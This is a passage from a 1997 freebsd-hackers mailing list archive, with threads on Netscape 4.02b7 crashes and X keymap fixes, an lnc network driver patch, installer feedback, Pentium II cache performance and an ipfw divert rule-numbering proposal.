a timeout, but will also possibly affect user perceived latencies. I'm using a setting of 4 tags myself, BTW. Regards, STefan From owner-freebsd-hackers Mon Aug 4 14:56:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA00383 for hackers-outgoing; Mon, 4 Aug 1997 14:56:36 -0700 (PDT) Received: from super-g.inch.com (super-g.com [207.240.140.161]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA00372 for ; Mon, 4 Aug 1997 14:56:33 -0700 (PDT) Received: from localhost (spork@localhost) by super-g.inch.com (8.8.5/8.8.5) with SMTP id SAA28742; Mon, 4 Aug 1997 18:02:17 -0400 (EDT) Date: Mon, 4 Aug 1997 18:02:16 -0400 (EDT) From: spork X-Sender: spork@super-g.inch.com To: Kenneth Merry cc: ponds!rivers@dg-rtp.dg.com, hackers@FreeBSD.ORG Subject: Re: Netscape & floating point core dumps? In-Reply-To: <199708042105.PAA17388@pluto.plutotech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Anyone else? I let the port do the work... My previous Netscape (3.0) did not have these problems (nor does anything else under X), so I'm assuming it's not an X thing... Charles BTW, the drag-n-drop-n-drool bookmarking feature is rather interesting; it lets you "drag" a bookmark into the appropriate bookmark submenu... On Mon, 4 Aug 1997, Kenneth Merry wrote: > spork wrote... > > > other ftp servers yet. So far, it seems to be pretty stable. > > > > Have you tried backspacing in the URL field yet? It's a cruel joke. Alot > > of keymappings are just wrong. To scroll up and down a page with arrow > > keys, you must use "shift arrow"... And a warning message pops up each > > time a preferences dialog box is opened. > > I don't see *any* of those bugs. I can backspace in the URL field > just fine, I can use the plain arrow keys (no shift) to scroll up and down > a page, and no warning message pops up when I open the preferences dialog > box. > > For the keymapping problems, I suspect that something in your X > setup is broken. As far as the preferences go, I have no clue. > > > Ken > -- > Kenneth Merry > ken@plutotech.com > From owner-freebsd-hackers Mon Aug 4 15:03:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA00602 for hackers-outgoing; Mon, 4 Aug 1997 15:03:23 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA00595 for ; Mon, 4 Aug 1997 15:03:12 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id PAA04939; Mon, 4 Aug 1997 15:01:03 -0700 From: Terry Lambert Message-Id: <199708042201.PAA04939@phaeton.artisoft.com> Subject: Re: Netscape & floating point core dumps? To: spork@super-g.com (spork) Date: Mon, 4 Aug 1997 15:01:03 -0700 (MST) Cc: ken@plutotech.com, ponds!rivers@dg-rtp.dg.com, hackers@FreeBSD.ORG In-Reply-To: from "spork" at Aug 4, 97 05:04:14 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Have you tried backspacing in the URL field yet? It's a cruel joke. Alot > of keymappings are just wrong. To scroll up and down a page with arrow > keys, you must use "shift arrow"... And a warning message pops up each > time a preferences dialog box is opened. You have to install the OSF Keysyms in the place needed by whatever version of Motif they have linked against. This was a problem in previous versions, as well (except previous versions core-dumped on backspace). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Aug 4 15:18:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA01481 for hackers-outgoing; Mon, 4 Aug 1997 15:18:51 -0700 (PDT) Received: from lsd.relcom.eu.net (lsd.relcom.eu.net [193.124.23.23]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA01470 for ; Mon, 4 Aug 1997 15:18:44 -0700 (PDT) Received: (from ache@localhost) by lsd.relcom.eu.net (8.8.7/8.8.7) id CAA10171; Tue, 5 Aug 1997 02:18:36 +0400 (MSD) Date: Tue, 5 Aug 1997 02:18:36 +0400 (MSD) From: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= X-Sender: ache@lsd.relcom.eu.net To: "Michael K. Sanders" cc: Kenneth Merry , Thomas David Rivers , hackers@FreeBSD.ORG Subject: Re: Netscape & floating point core dumps? In-Reply-To: <199708042138.PAA13863@shell.aros.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 4 Aug 1997, Michael K. Sanders wrote: > In message <199708042006.OAA15894@pluto.plutotech.com>, Kenneth Merry writes: > > > >> 3) I've seen one mention of 4.01b7 - but I can't actually > >> find it at ftp.netscape.com - is this available yet? > > > > Look on ftp23.netscape.com. It hasn't made it out to all of their > >other ftp servers yet. So far, it seems to be pretty stable. > > 4.02_b7 gives me bus errors when trying to do any Java. Has anyone > had success with Java? I have Java working with native freebsd 4.02b7 -- Andrey A. Chernov http://www.nagual.pp.ru/~ache/ From owner-freebsd-hackers Mon Aug 4 15:20:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA01661 for hackers-outgoing; Mon, 4 Aug 1997 15:20:51 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA01643 for ; Mon, 4 Aug 1997 15:20:46 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA28224; Mon, 4 Aug 1997 18:20:11 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Mon, 4 Aug 1997 18:20 EDT Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.7.3) with ESMTP id RAA01059; Mon, 4 Aug 1997 17:37:08 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id RAA02759; Mon, 4 Aug 1997 17:46:22 -0400 (EDT) Date: Mon, 4 Aug 1997 17:46:22 -0400 (EDT) From: Thomas David Rivers Message-Id: <199708042146.RAA02759@lakes.dignus.com> To: ponds!plutotech.com!ken, ponds!lakes.dignus.com!rivers Subject: Re: Netscape & floating point core dumps? Cc: ponds!freebsd.org!hackers Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > 3) I've seen one mention of 4.01b7 - but I can't actually > > find it at ftp.netscape.com - is this available yet? > > Look on ftp23.netscape.com. It hasn't made it out to all of their > other ftp servers yet. So far, it seems to be pretty stable. > > > Ken > -- > Kenneth Merry > ken@gt.ed.net > Hey! Thanks for the pointer.... It looks like, today, the netscape people decided to support freebsd separately from the BSDI... I found the following on ftp23.netscape.com: /pub/communicator/4.02/4.02b7/english/unix/freebsd I'd suggest everyone who's interested take a look - I'll be downloading soon myself... - Dave Rivers - From owner-freebsd-hackers Mon Aug 4 15:20:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA01682 for hackers-outgoing; Mon, 4 Aug 1997 15:20:59 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA01670 for ; Mon, 4 Aug 1997 15:20:52 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA28705; Mon, 4 Aug 1997 18:20:18 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Mon, 4 Aug 1997 18:20 EDT Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.7.3) with ESMTP id RAA01185; Mon, 4 Aug 1997 17:46:13 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id RAA02787; Mon, 4 Aug 1997 17:55:27 -0400 (EDT) Date: Mon, 4 Aug 1997 17:55:27 -0400 (EDT) From: Thomas David Rivers Message-Id: <199708042155.RAA02787@lakes.dignus.com> To: ponds!plutotech.com!ken, ponds!super-g.com!spork Subject: Re: Netscape & floating point core dumps? Cc: ponds!FreeBSD.ORG!hackers Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > spork wrote... > > > other ftp servers yet. So far, it seems to be pretty stable. > > > > Have you tried backspacing in the URL field yet? It's a cruel joke. Alot > > of keymappings are just wrong. To scroll up and down a page with arrow > > keys, you must use "shift arrow"... And a warning message pops up each > > time a preferences dialog box is opened. > > I don't see *any* of those bugs. I can backspace in the URL field > just fine, I can use the plain arrow keys (no shift) to scroll up and down > a page, and no warning message pops up when I open the preferences dialog > box. > > For the keymapping problems, I suspect that something in your X > setup is broken. As far as the preferences go, I have no clue. > > > Ken > -- > Kenneth Merry > ken@plutotech.com > I would get these types of problems when the fonts weren't created correctly... or the AppDefaults weren't set correctly. Things to check: 1) Go to your font directories (/usr/X11R6/lib/X11/fonts/) and do a mkfontdir in each of the directories you find there. 2) Make sure the netscape app-defaults file is present in /usr/X11R6/lib/app-defaults. Don't just copy it, but rename Netscape.ad to just Netscape and place it in that directory. These two items, combined, usually cure these type of problem. - Dave Rivers - From owner-freebsd-hackers Mon Aug 4 15:49:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA03171 for hackers-outgoing; Mon, 4 Aug 1997 15:49:05 -0700 (PDT) Received: from terror.hungry.com (fn@terror.hungry.com [169.131.1.215]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA03157 for ; Mon, 4 Aug 1997 15:48:57 -0700 (PDT) Received: (from fn@localhost) by terror.hungry.com (8.8.6/8.8.4) id PAA03764; Mon, 4 Aug 1997 15:48:33 -0700 (PDT) To: msanders@aros.net (Michael K. Sanders) Cc: freebsd-hackers@freebsd.org Subject: Re: Netscape & floating point core dumps? References: <199708042006.OAA15894@pluto.plutotech.com> <199708042138.PAA13863@shell.aros.net> From: Faried Nawaz Date: 04 Aug 1997 15:48:32 -0700 In-Reply-To: msanders@aros.net's message of 4 Aug 1997 15:07:13 -0700 Message-ID: Lines: 6 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk msanders@aros.net (Michael K. Sanders) writes: 4.02_b7 gives me bus errors when trying to do any Java. Has anyone had success with Java? Java works for me (2.2-stable, 24bit visual). From owner-freebsd-hackers Mon Aug 4 15:51:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA03390 for hackers-outgoing; Mon, 4 Aug 1997 15:51:21 -0700 (PDT) Received: from shell6.ba.best.com (jkb@shell6.ba.best.com [206.184.139.137]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA03380 for ; Mon, 4 Aug 1997 15:51:13 -0700 (PDT) Received: from localhost (jkb@localhost) by shell6.ba.best.com (8.8.5/8.7.3) with SMTP id PAA02605; Mon, 4 Aug 1997 15:47:49 -0700 (PDT) X-Authentication-Warning: shell6.ba.best.com: jkb owned process doing -bs Date: Mon, 4 Aug 1997 15:47:48 -0700 (PDT) From: Jan Koum X-Sender: jkb@shell6.ba.best.com To: Dan Busarow cc: spork , hackers@FreeBSD.ORG Subject: Re: Netscape & floating point core dumps? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 4 Aug 1997, Dan Busarow wrote: >On Mon, 4 Aug 1997, spork wrote: >> Have you tried backspacing in the URL field yet? It's a cruel joke. Alot >> of keymappings are just wrong. To scroll up and down a page with arrow > >Methinks you forgot to install XKeysymDB, which with this version >may consist of setting MOZILLA_HOME. Not sure about that since >I do have XKEYSYMDB exported too. Actually, everything works really well here. I even tried calling netscape and thanking them for a good job. All I did was run ./ns-install and seems to me everything installed ok. Java works, mail works, backspace in URL works. And it has yet to crash (being running since today morning). The machine is a P133 with 48RAM. -- Yan > >All the key-mappings, including ALT-left arrow/ALT-right arrow, >work just fine. > >Dan >-- > Dan Busarow 714 443 4172 > DPC Systems / Beach.Net dan@dpcsys.com > Dana Point, California 83 09 EF 59 E0 11 89 B4 8D 09 DB FD E1 DD 0C 82 > > From owner-freebsd-hackers Mon Aug 4 15:52:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA03475 for hackers-outgoing; Mon, 4 Aug 1997 15:52:49 -0700 (PDT) Received: from shell6.ba.best.com (jkb@shell6.ba.best.com [206.184.139.137]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA03470 for ; Mon, 4 Aug 1997 15:52:45 -0700 (PDT) Received: from localhost (jkb@localhost) by shell6.ba.best.com (8.8.5/8.7.3) with SMTP id PAA03116; Mon, 4 Aug 1997 15:49:37 -0700 (PDT) X-Authentication-Warning: shell6.ba.best.com: jkb owned process doing -bs Date: Mon, 4 Aug 1997 15:49:37 -0700 (PDT) From: Jan Koum X-Sender: jkb@shell6.ba.best.com To: Dan Busarow cc: spork , hackers@FreeBSD.ORG Subject: Re: Netscape & floating point core dumps? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Sorry folks, Forgot to tell that I am using FreeBSD 4.02beta7 version of communicator. -- yan On Mon, 4 Aug 1997, Jan Koum wrote: >On Mon, 4 Aug 1997, Dan Busarow wrote: > > >On Mon, 4 Aug 1997, spork wrote: > >> Have you tried backspacing in the URL field yet? It's a cruel joke. Alot > >> of keymappings are just wrong. To scroll up and down a page with arrow > > > >Methinks you forgot to install XKeysymDB, which with this version > >may consist of setting MOZILLA_HOME. Not sure about that since > >I do have XKEYSYMDB exported too. > > Actually, everything works really well here. I even tried calling >netscape and thanking them for a good job. All I did was run ./ns-install >and seems to me everything installed ok. Java works, mail works, backspace >in URL works. And it has yet to crash (being running since today morning). >The machine is a P133 with 48RAM. > >-- Yan > > > > >All the key-mappings, including ALT-left arrow/ALT-right arrow, > >work just fine. > > > >Dan > >-- > > Dan Busarow 714 443 4172 > > DPC Systems / Beach.Net dan@dpcsys.com > > Dana Point, California 83 09 EF 59 E0 11 89 B4 8D 09 DB FD E1 DD 0C 82 > > > > > > From owner-freebsd-hackers Mon Aug 4 15:59:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA03805 for hackers-outgoing; Mon, 4 Aug 1997 15:59:24 -0700 (PDT) Received: from Octopussy.MI.Uni-Koeln.DE (Octopussy.MI.Uni-Koeln.DE [134.95.166.20]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA03761; Mon, 4 Aug 1997 15:59:14 -0700 (PDT) Received: from x14.mi.uni-koeln.de (annexr2-42.slip.Uni-Koeln.DE) by Octopussy.MI.Uni-Koeln.DE with SMTP id AA01585 (5.67b/IDA-1.5); Tue, 5 Aug 1997 00:59:09 +0200 Received: (from se@localhost) by x14.mi.uni-koeln.de (8.8.6/8.6.9) id AAA01082; Tue, 5 Aug 1997 00:28:54 +0200 (CEST) X-Face: " Date: Tue, 5 Aug 1997 00:28:53 +0200 From: Stefan Esser To: Ulf Zimmermann Cc: Ted Faber , freebsd-hackers@FreeBSD.ORG, faber@lunabase.org, Stefan Esser Subject: Re: patch to lnc driver for Hitachi Mx laptop References: <199708032333.QAA00649@vermouth.isi.edu> <199708040056.RAA13828@Gatekeeper.Alameda.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.74 In-Reply-To: <199708040056.RAA13828@Gatekeeper.Alameda.net>; from Ulf Zimmermann on Sun, Aug 03, 1997 at 05:56:37PM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Aug 3, Ulf Zimmermann wrote: > Could someone provide a boot install disk with this patch ? > I have a Hitachi M and would like to try it. The 2.2.2R did not work. Since I wrote the PCI probe code for the Lance driver, I'm going to commit this patch, and the boot disk will automagically appear on "current.freebsd.org" sometime thereafter :) Regards, STefan From owner-freebsd-hackers Mon Aug 4 16:03:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA04068 for hackers-outgoing; Mon, 4 Aug 1997 16:03:19 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id QAA04050 for ; Mon, 4 Aug 1997 16:03:14 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wvW9g-0001k6-00; Mon, 4 Aug 1997 17:03:12 -0600 To: hackers@freebsd.org Subject: Install idea/feedback Date: Mon, 04 Aug 1997 17:03:11 -0600 From: Warner Losh Message-Id: Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I thought I'd share with you some feedback from the 2.2.1R install that I did this past weekend. Maybe these issues have been addressed in later versions. 1) When installing from scratch, the partitions should be mounted async. This will speed installs, especially of /usr/ports. 2) When ftp fails for some reason, it would be nice if there was a retry mechanism so that you didn't have to start over from scratch. A friend was installing from a machine on a network that was connected to the internet via a firewall that lost its cookies from time to time. Other than these issues, the install(s) went great! Kudos to all who have worked to make this possible and easy. Warner From owner-freebsd-hackers Mon Aug 4 16:23:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA05055 for hackers-outgoing; Mon, 4 Aug 1997 16:23:34 -0700 (PDT) Received: from www2.shoppersnet.com (shoppersnet.com [204.156.152.112]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA05050 for ; Mon, 4 Aug 1997 16:23:27 -0700 (PDT) Received: (from hlew@localhost) by www2.shoppersnet.com (8.8.5/8.8.5) id QAA05407; Mon, 4 Aug 1997 16:27:02 -0700 (PDT) Date: Mon, 4 Aug 1997 16:27:02 -0700 (PDT) From: Howard Lew To: "Michael K. Sanders" cc: hackers@freebsd.org Subject: Re: Netscape & floating point core dumps? In-Reply-To: <199708042257.QAA19773@shell.aros.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 4 Aug 1997, Michael K. Sanders wrote: > >I just did some testing on www.megapage.com (sample site for some java > >stuff). > > > >Netscape 4b7 (FreeBSD version) on 2.2.2 RELENG #1 - no core dump > >Netscape 4b7 (FreeBSD version) on 2.1.7.1R (& copy over 2 libs) - no core dump > > 4.02b7 under 2.2.1 gives me a bus error on http://www.iNetZ.COM/. > > megapage crashes for me as well, after it loads the first image, > it starts loading the Java applet, and then dies with a bus error. Hmmm... no crashes here on both systems. Must be something else. I think someone said he had the same problem with 24 bit color. See if you can drop down to 16 bit color and see if the problem goes away. (My video is only 16 bit color at 1024x768, and everything works fine here even on Inetz). Video chip is ARK 2MB & AMD K5-PR166 cpu. --------------------------------------------------------------------------- Shoppers Network (Support) AMD K5/K6s, Cyrix 6x86, Intel Pentiums/Pro Phone: (415) 759-8584 Email: howard@shoppersnet.com ==============================> WWW - http://www.shoppersnet.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From owner-freebsd-hackers Mon Aug 4 17:48:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA09111 for hackers-outgoing; Mon, 4 Aug 1997 17:48:40 -0700 (PDT) Received: from bugs.us.dell.com (bugs.us.dell.com [143.166.169.147]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA09100; Mon, 4 Aug 1997 17:48:37 -0700 (PDT) Received: from moth.us.dell.com (moth.us.dell.com [143.166.169.152]) by bugs.us.dell.com (8.6.12/8.6.12) with SMTP id TAA06920; Mon, 4 Aug 1997 19:48:05 -0500 Message-Id: <3.0.2.32.19970804125520.0070d730@bugs.us.dell.com> X-Sender: tony@bugs.us.dell.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32) Date: Mon, 04 Aug 1997 12:55:20 -0500 To: "Jonathan M. Bresler" From: Tony Overfield Subject: Re: Pentium II? Cc: cjs@portal.ca, freebsd@atipa.com, tom@sdf.com, hackers@FreeBSD.ORG In-Reply-To: <199708031631.JAA01116@hub.freebsd.org> References: <3.0.2.32.19970803041915.006a69e4@bugs.us.dell.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 09:31 AM 8/3/97 -0700, Jonathan M. Bresler wrote: >Tony Overfield wrote: >> I think many of the benchmarks indicate this. The benchmarks show, when >> run at the same clock frequency, that the Pentium II runs at speeds >> comparable to the Pentium Pro, even though the L2 cache is running at >> half-speed. Many folks had claimed that the Pentium II would be much >> slower because of the half-speed L2 cache. > > oh? what is the size of your dataset? what is the data access > pattern? without specifing these two items, i cant tell how > your are using L1 and L2 cache. Of course, that's obvious. But my point is that a larger L1 cache makes the Pentium II faster than it would have been otherwise, since it partly offsets the slower L2 cache. In many real-world situations, the dataset size and access patterns constantly change. A bigger L1 cache only wins whenever the L1 cache hit-rate is improved strictly because of its size. To believe that such a sitiuation never arises seems to me to be a losing position to take. > what we need is a benchmark that has a fixed data access pattern > and known data set size. better yet would be one that starts with > a very small data set and grows the data set till the computer starts > using disk. a graph of the results would show the speed of the > machine accross all its memory regimes. > > http://www.scl.ameslab.gov/scl/HINT/HINT.html Thanks for the pointer. The effect I'm describing seems to be visible in their data, especially if you select the "(double)" data. - Tony From owner-freebsd-hackers Mon Aug 4 17:50:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA09200 for hackers-outgoing; Mon, 4 Aug 1997 17:50:26 -0700 (PDT) Received: from bugs.us.dell.com (bugs.us.dell.com [143.166.169.147]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA09193 for ; Mon, 4 Aug 1997 17:50:24 -0700 (PDT) Received: from moth.us.dell.com (moth.us.dell.com [143.166.169.152]) by bugs.us.dell.com (8.6.12/8.6.12) with SMTP id TAA06923; Mon, 4 Aug 1997 19:48:07 -0500 Message-Id: <3.0.2.32.19970804125532.0070d730@bugs.us.dell.com> X-Sender: tony@bugs.us.dell.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32) Date: Mon, 04 Aug 1997 12:55:32 -0500 To: Terry Lambert From: Tony Overfield Subject: Re: Pentium II? Cc: terry@lambert.org, hackers@FreeBSD.ORG In-Reply-To: <199708032034.NAA02135@phaeton.artisoft.com> References: <3.0.2.32.19970803041901.006a69e4@bugs.us.dell.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 01:34 PM 8/3/97 -0700, Terry Lambert wrote: >> I tried searching -hackers ("Dell AND disabl* AND cach*") and only >> found one claim (yours, BTW) that this bug exists. Interestingly, >> the only reply seemed to disagree with your claim. Perhaps you can >> offer some better search keywords. > >Yes, I can. Search for "PCI" instead of "Dell"; this was a property >of the Saturn I, Neptune I, and Mecury I chipsets, not a property >of only Dell computers -- any computer using those chips blew the >cache line invalidation following a DMA from a PCI controller to >main memory. Except that there were work-arounds for the problems which we implemented. It's simply not true that all of those systems had those problems. >> Don't forget than Pentium memory is 64 bits wide and 486/50 memory >> is 32 bits wide. Thus, your fancy 486/50 memory bus cannot help to >> explain your faster I/O claims, so maybe you've got a "magic I/O bus." > >Actually, PCI busses are only 32 bits wide, so the 64 bit processor >memory path is totally irrelevent for bus master DMA speed. The >width limitation is at the bus-to-memory interface, not at the >processor. No. PCI memory writes are often posted, combined and written into DRAM 64 bits at a time. - Tony From owner-freebsd-hackers Mon Aug 4 17:53:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA09381 for hackers-outgoing; Mon, 4 Aug 1997 17:53:52 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA09373 for ; Mon, 4 Aug 1997 17:53:50 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id RAA18349; Mon, 4 Aug 1997 17:50:27 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd018343; Tue Aug 5 00:50:19 1997 Date: Mon, 4 Aug 1997 17:48:12 -0700 (PDT) From: Julian Elischer To: Archie Cobbs cc: Ari Suutari , owensc@enc.edu, freebsd-hackers@FreeBSD.ORG Subject: Re: IPFW-DIVERT change. WAS:[ipfw rules processing order..] In-Reply-To: <199708041948.MAA29091@bubba.whistle.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk maybe I will later I'm still in the UK for a day however.. julian On Mon, 4 Aug 1997, Archie Cobbs wrote: > > > > instead of the divert port number > > > (the process knows thin information anyway), the rule number from > > > which the diversion occured. Also, on sendto() the port number > > > could represent the rule number to restart processing from. > > > in other words, if the number was 1000, processing would begin at 1001. > > > > > > this would allow a divert process to leave the same number there > > > that it received, and to avoid loops in that way because the process > > > ing would start at the NEXT rule. > > > > > > present programs probably just copy this number across, so > > > I guess it would be a transparent change to most of them. > > > > > > does it leave us open to security holes that were > > > blocked before? (see the reason archie gave above)? > > > is this a real threat? > > > can it be proven to (not be)/(be) a threat? > > > > > > I think this would be an easy change to make. > > > what do the USERS think (divert users). > > > > Why not - at last natd won't mind, since it just copies > > the port number. However, change might cause problems > > with existing ipfw configurations if there are pass/deny rules > > before divert rules. > > Who wants to come up with a patch? I don't have time to at the moment. > > -Archie > > ___________________________________________________________________________ > Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com > From owner-freebsd-hackers Mon Aug 4 18:24:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA10805 for hackers-outgoing; Mon, 4 Aug 1997 18:24:43 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA10800 for ; Mon, 4 Aug 1997 18:24:39 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id SAA03517; Mon, 4 Aug 1997 18:24:12 -0700 (PDT) To: Warner Losh cc: hackers@FreeBSD.ORG Subject: Re: Install idea/feedback In-reply-to: Your message of "Mon, 04 Aug 1997 17:03:11 MDT." Date: Mon, 04 Aug 1997 18:24:12 -0700 Message-ID: <3513.870744252@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > 1) When installing from scratch, the partitions should be > mounted async. This will speed installs, especially of > /usr/ports. Already done. > 2) When ftp fails for some reason, it would be nice if there > was a retry mechanism so that you didn't have to start over > from scratch. A friend was installing from a machine on a Already done. Install a more up-to-date release. :-) Jordan From owner-freebsd-hackers Mon Aug 4 20:54:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA17315 for hackers-outgoing; Mon, 4 Aug 1997 20:54:23 -0700 (PDT) Received: from silvia.HIP.Berkeley.EDU (ala-ca8-36.ix.netcom.com [207.93.141.164]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA17310 for ; Mon, 4 Aug 1997 20:54:21 -0700 (PDT) Received: (from asami@localhost) by silvia.HIP.Berkeley.EDU (8.8.6/8.6.9) id UAA24878; Mon, 4 Aug 1997 20:54:09 -0700 (PDT) Date: Mon, 4 Aug 1997 20:54:09 -0700 (PDT) Message-Id: <199708050354.UAA24878@silvia.HIP.Berkeley.EDU> To: mtaylor@cybernet.com CC: hackers@FreeBSD.ORG In-reply-to: Subject: Re: make world for 2.2.2 with DESTDIR fails From: asami@cs.berkeley.edu (Satoshi Asami) Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk * What I really want is to build a complete 2.2.2 system and NOT have * it installed over the currently running system. I'd like to use it * as a place to store a complete binary system where I can do upgrades * from. Get the latest 2.2-stable. I just commited the last of the patches to enable you do just this ("make buildworld"). Satoshi From owner-freebsd-hackers Mon Aug 4 22:01:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA20140 for hackers-outgoing; Mon, 4 Aug 1997 22:01:16 -0700 (PDT) Received: from folco.lms.ru (folco.lms.ru [193.125.142.40]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA20130 for ; Mon, 4 Aug 1997 22:01:12 -0700 (PDT) Received: from minas-tirith.lms.ru (uucp@localhost) by folco.lms.ru (8.8.5/8.6.9) with UUCP id JAA18562 for freebsd.org!hackers; Tue, 5 Aug 1997 09:01:10 +0400 (MSD) Received: from minas-tirith (tarkhil@localhost [127.0.0.1]) by minas-tirith.lms.ru (8.8.6/8.6.9) with ESMTP id IAA16063; Tue, 5 Aug 1997 08:56:11 +0400 (MSD) Message-Id: 